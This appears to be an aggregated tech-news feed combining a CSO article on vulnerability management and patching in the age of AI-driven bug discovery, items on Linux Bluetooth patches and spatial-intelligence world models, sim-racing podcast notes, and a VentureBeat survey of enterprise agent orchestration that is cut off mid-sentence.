<p class="wp-block-paragraph">Muhammad Yahya Patel, vCISO and cybersecurity advisor for EMEA at managed security services vendor Huntress, recently <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">told CSO</a> that “organizations need to shift their vulnerability management program to a risk-based, continuous [approach], tied to real-time exploitation intelligence — not scheduled patch cycles that leave exploitation windows wide open for days and weeks.”</p>



<h2 class="wp-block-heading">Wild frontier</h2>



<p class="wp-block-paragraph">Frontier AI tools such as Claude Mythos have <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">signaled a structural shift for cybersecurity</a>, readily surfacing vulnerabilities at a huge scale — a development that, as government security assurance organizations such as the UK’s National Cyber Security Centre point out, is likely to lead to a surge in patches.</p>



<p class="wp-block-paragraph">“Most organizations already struggle to fix known issues quickly, so a spike in AI-driven discovery could easily overwhelm teams and widen the gap between finding problems and fixing them,” Andrew Woodford, CTO at network security vendor Titania, tells CSO. “In many ways, this just exposes a problem that’s already there.”</p>



<p class="wp-block-paragraph">Shane Fry, CTO at cybersecurity vendor RunSafe Security, argues that <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">patching as a security strategy</a> has been in crisis for years, and AI-accelerated vulnerability discovery has simply pushed it over the edge.</p>



<p class="wp-block-paragraph">Some experts contend that virtual patching — a technique that involves blocking exploit attempts at a security layer rather than fixing vulnerable code — represents a sound mitigation strategy, but Fry has reservations about the approach.</p>



<p class="wp-block-paragraph">“While virtual patching will play a role going forward, its effectiveness is limited and leaves security teams chasing a gap they will never be able to close,” Fry says.</p>



<p class="wp-block-paragraph">Instead, security teams need to shift toward mitigation-first approaches that make it impossible for attackers to exploit bugs in software.</p>



<p class="wp-block-paragraph">“Removing entire classes of exploits upfront takes the heat out of the patch gap, and allows patching to become strategic rather than reactive,” Fry argues.</p>



<h2 class="wp-block-heading">‘Assume Autonomy’</h2>



<p class="wp-block-paragraph">The conventional patch management model was designed around a world where vulnerability discovery happened at human speed: A human researcher finds a flaw, reports it, a CVE gets assigned, vendors ship a fix, enterprises test and deploy it — a process that can take weeks.</p>



<p class="wp-block-paragraph">AI-powered vulnerability discovery blows this model out of the water.</p>



<p class="wp-block-paragraph">“If offensive AI can identify, validate, and exploit vulnerabilities without human authorization, a 43-day median patch time, as noted in Verizon’s DBIR, is the least of your problems,” argues Rik Ferguson, vice president of security intelligence at Forescout. “An AI system doesn’t wait for a proof-of-concept to circulate on GitHub or a CVSS score to land in a dashboard. It finds the flaw, confirms exploitability, and moves.”</p>



<p class="wp-block-paragraph">Ferguson advocates a change of approach toward what he describes as “Assume Autonomy.”</p>



<p class="wp-block-paragraph">“The question is what compensating controls you put in place between discovery and remediation, and how you constrain what an attacker can do with access they’ve already acquired,” Ferguson explains.</p>



<p class="wp-block-paragraph">Just-in-time patching fits in with this philosophy and is a desirable goal but may be difficult to achieve in practice especially for the many enterprises that struggle with asset management.</p>



<p class="wp-block-paragraph">“Just-in-time patching is sound in principle: prioritize and deploy fixes as exploitation intelligence emerges rather than waiting for the scheduled window,” Ferguson says. “But achieving it has some real-world requirements: continuous asset visibility, knowing precisely what you have, where it is, and what its current exposure status is.”</p>



<p class="wp-block-paragraph">For example, Ferguson adds, “you can’t patch just-in-time against a vulnerability in a device you didn’t know was on your network.”</p>



<h2 class="wp-block-heading">Virtual patching</h2>



<p class="wp-block-paragraph">Gunter Ollmann, CTO at pen testing as a service firm Cobalt, notes that just-in-time patching makes sense if and when a patch is available — but that’s not always possible.</p>



<p class="wp-block-paragraph">“The major problem lies in the discovery of new vulnerabilities in code or systems that the business has no rights or capabilities to fix themselves, and they have a dependence upon third parties to develop the fix or patch — and are therefore subject to external SLA [service level agreement] turnarounds,” Ollmann explains.</p>



<p class="wp-block-paragraph">In such cases, enterprises will need to deploy virtual patches capable of blocking or deflecting the exploitation vectors of the vulnerable system.</p>



<p class="wp-block-paragraph">“Businesses are in desperate need of quickly deciphering a new vulnerability and dynamically creating an appropriate blocking rule — or rules — for their layered defenses,” Ollmann says.</p>



<p class="wp-block-paragraph">Virtual patching may mitigate security threats particularly in operational technology (OT) and IoT environments where applying a vendor patch to a running production system risks unplanned downtime or safety system interruption but only serves as a stop gap, Ferguson tells CSO.</p>



<p class="wp-block-paragraph">“A network-layer control that blocks exploitation of a known flaw, while you work through the testing and deployment cycle for the actual fix, is a compensating control,” notes Ferguson, who warns that virtual patches come with multiple drawbacks.</p>



<p class="wp-block-paragraph">“Virtual patches require accurate detection signatures, they don’t remediate the underlying vulnerability, and they can create a false sense of closure that delays proper patching indefinitely,” Ferguson argues. “The risk is that temporary becomes permanent. The underlying vulnerability stays open, and the virtual patch becomes the reason nobody revisits it.”</p>



<h2 class="wp-block-heading">Just-in-time risk reduction</h2>



<p class="wp-block-paragraph">Douglas McKee, director of vulnerability intelligence at Rapid7, advocates what he describes as just-in-time risk reduction rather than just-in-time patching because of the practical difficulties with the latter.</p>



<p class="wp-block-paragraph">“In the real world, especially in OT, medical devices, and business-critical systems, you can’t always patch the second a CVE drops,” McKee argues. “You still need testing, maintenance windows, rollback plans, and someone who actually owns the asset. However, the old monthly scan, report, and remediation cycle will not survive this pace.”</p>



<h2 class="wp-block-heading">Tips for modernizing vulnerability management</h2>



<p class="wp-block-paragraph">The enterprise attack surface has expanded significantly of late, and patch management models haven’t kept up. In response, security leaders’ vulnerability management strategies have to become more of a continuous monitoring function, not a triage and remediation process.</p>



<p class="wp-block-paragraph">Modernizing enterprise approaches to vulnerability management involves “real-time exploitation intelligence integrated into prioritization, compensating controls deployed at discovery rather than at patch release, and visibility across the full asset estate that conventional patch management tools were never designed to cover,” Ferguson says.</p>



<p class="wp-block-paragraph">Rapid7’s McKee stresses that security teams need to separate “known vulnerable” from “actually reachable and exploitable in my environment.”</p>



<p class="wp-block-paragraph">This process can be achieved through a combination of asset inventory, internet exposure mapping, KEV tracking, vulnerability intelligence, ownership, and emergency change paths.</p>



<p class="wp-block-paragraph">“Prioritization based on risk factors like public exposure, known exploitation, automation potential, and technical impact is key,” McKee concludes.</p>
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<title><![CDATA[Linux Patches Finally Allow Apple Magic Keyboard/Mouse Battery Monitoring Via Bluetooth]]></title>
<description><![CDATA[submitted by    /u/anh0516   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3672226/linux-tipps/linux-patches-finally-allow-apple-magic-keyboardmouse-battery-monitoring-via-bluetooth/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672226/linux-tipps/linux-patches-finally-allow-apple-magic-keyboardmouse-battery-monitoring-via-bluetooth/</guid>
<pubDate>Thu, 16 Jul 2026 04:37:31 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/anh0516"> /u/anh0516 </a> <br> <span><a href="https://www.phoronix.com/news/Apple-Magic-Bluetooth-Battery">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uxehsb/linux_patches_finally_allow_apple_magic/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[A look at spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</guid>
<pubDate>Thu, 16 Jul 2026 03:48:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[HPR4684: Sim Racing on the cheap!]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


Thrustmaster TMX Force Feedback Pro Black Xbox One / Xbox Series X/S / PC




https://www.ebay.com/itm/157554569422




Dayton Audio DAEX25 Audio Exciter Pair - Sound Exciter Pair Audio Transducer - 5 Watts RMS, 8 Ohms Impedance - 2 Pack - Tu...]]></description>
<link>https://tsecurity.de/de/3672094/podcasts/hpr4684-sim-racing-on-the-cheap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672094/podcasts/hpr4684-sim-racing-on-the-cheap/</guid>
<pubDate>Thu, 16 Jul 2026 02:03:00 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
Thrustmaster TMX Force Feedback Pro Black Xbox One / Xbox Series X/S / PC</p>

<p>

<a href="https://www.ebay.com/itm/157554569422" rel="noopener noreferrer" target="_blank">
https://www.ebay.com/itm/157554569422</a>

</p>

<p>
Dayton Audio DAEX25 Audio Exciter Pair - Sound Exciter Pair Audio Transducer - 5 Watts RMS, 8 Ohms Impedance - 2 Pack - Turn Any Surface into a Speaker System</p>

<p>

<a href="https://www.amazon.com/dp/B001EYEM8C" rel="noopener noreferrer" target="_blank">
https://www.amazon.com/dp/B001EYEM8C</a>

</p>

<p>

<a href="https://www.simhubdash.com/" rel="noopener noreferrer" target="_blank">
https://www.simhubdash.com/</a>

</p>

<p>

<a href="https://www.accsetupcomparator.com/" rel="noopener noreferrer" target="_blank">
https://www.accsetupcomparator.com/ </a>

</p>

<p>

<a href="https://www.iracing.com/" rel="noopener noreferrer" target="_blank">
https://www.iracing.com/</a>
 ( they have buy 2 years get discount during holiday but still can't afford it .. )</p>

<p>

<a href="https://forza.net/horizon" rel="noopener noreferrer" target="_blank">
https://forza.net/horizon</a>

</p>

<p>

</p>

<p>
DiRT Rally 2.0 GOTY</p>

<p>

<a href="https://k4g.com/store?distribution%5B%5D=3&amp;q=DiRT%20Rally%202.0%20GOTY&amp;sort=price" rel="noopener noreferrer" target="_blank">
https://k4g.com/store?distribution[]=3&amp;q=DiRT%20Rally%202.0%20GOTY&amp;sort=price</a>

</p>

<p>

</p>

<p>
CrewChiefV4</p>

<p>

<a href="https://thecrewchief.org/" rel="noopener noreferrer" target="_blank">
https://thecrewchief.org/</a>

</p>

<p>

<a href="https://app.tracktitan.io/sessions/3ebbf63b-93de-4309-9a42-9311a745209d/20241228052252" rel="noopener noreferrer" target="_blank">
https://app.tracktitan.io/sessions/3ebbf63b-93de-4309-9a42-9311a745209d/20241228052252</a>

</p>

<p>

</p>

<p>
SUMMARY.</p>

<p>
User discusses sim racing challenges, costs, and setup tips.</p>

<p>
IDEAS.</p>

<ol>

<li>
 Sim racing requires time and investment.</li>

<li>
 I Racing is expensive with annual costs.</li>

<li>
 Set of Courses offers one-time payment.</li>

<li>
 Proper setup enhances sim racing experience.</li>

<li>
 Cable connections can complicate setup.</li>

<li>
 Upgrading hardware improves performance.</li>

<li>
 Arcade games like Forza offer casual play.</li>

<li>
 Realistic sim racing demands dedication.</li>

<li>
 License requirements vary between platforms.</li>

<li>
 Remote gaming systems save space.</li>

<li>
 Steering wheel upgrades improve smoothness.</li>

<li>
 Dedicated spaces optimize sim racing.</li>

<li>
 Balancing fun and realism is key.</li>

<li>
 Multi-launchers manage gaming platforms.</li>

<li>
 Hacked accounts may cause issues.</li>

<li>
 Monitoring hardware wear is important.</li>

<li>
 Shifting mechanisms enhance control.</li>

<li>
 Curved monitors improve immersion.</li>

<li>
 Time constraints affect sim racing participation.</li>

<li>
 Exploring multiple games adds variety.</li>

</ol>

<p>

</p>

<p>
RECOMMENDATIONS.</p>

<ol>

<li>
 Consider Set of Courses for a one-time payment.</li>

<li>
 Invest in a proper setup for serious sim racing.</li>

<li>
 Use a multi-launcher for managing games.</li>

<li>
 Upgrade hardware for smoother performance.</li>

<li>
 Buy specific tracks and cars to avoid costs.</li>

<li>
 Opt for a dedicated space for sim racing.</li>

<li>
 Check for license requirements before purchasing.</li>

<li>
 Remote into gaming systems to save space.</li>

<li>
 Replace plastic parts with bearings for smoother operation.</li>

<li>
 Use a 7-speed shifter for better control.</li>

<li>
 Avoid hacked accounts for reliability.</li>

<li>
 Purchase multiple accounts for different players.</li>

<li>
 Focus on arcade games for casual play.</li>

<li>
 Prioritize a curved monitor for immersion.</li>

<li>
 Use a standing desk for accessibility.</li>

<li>
 Monitor cable connections to prevent setup issues.</li>

<li>
 Upgrade steering wheel components for better experience.</li>

<li>
 Balance fun and realism based on personal preference.</li>

<li>
 Consider time investment for sim racing.</li>

<li>
 Explore different racing games for variety.</li>

</ol>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4684/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3672033/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672033/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 16 Jul 2026 00:46:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it 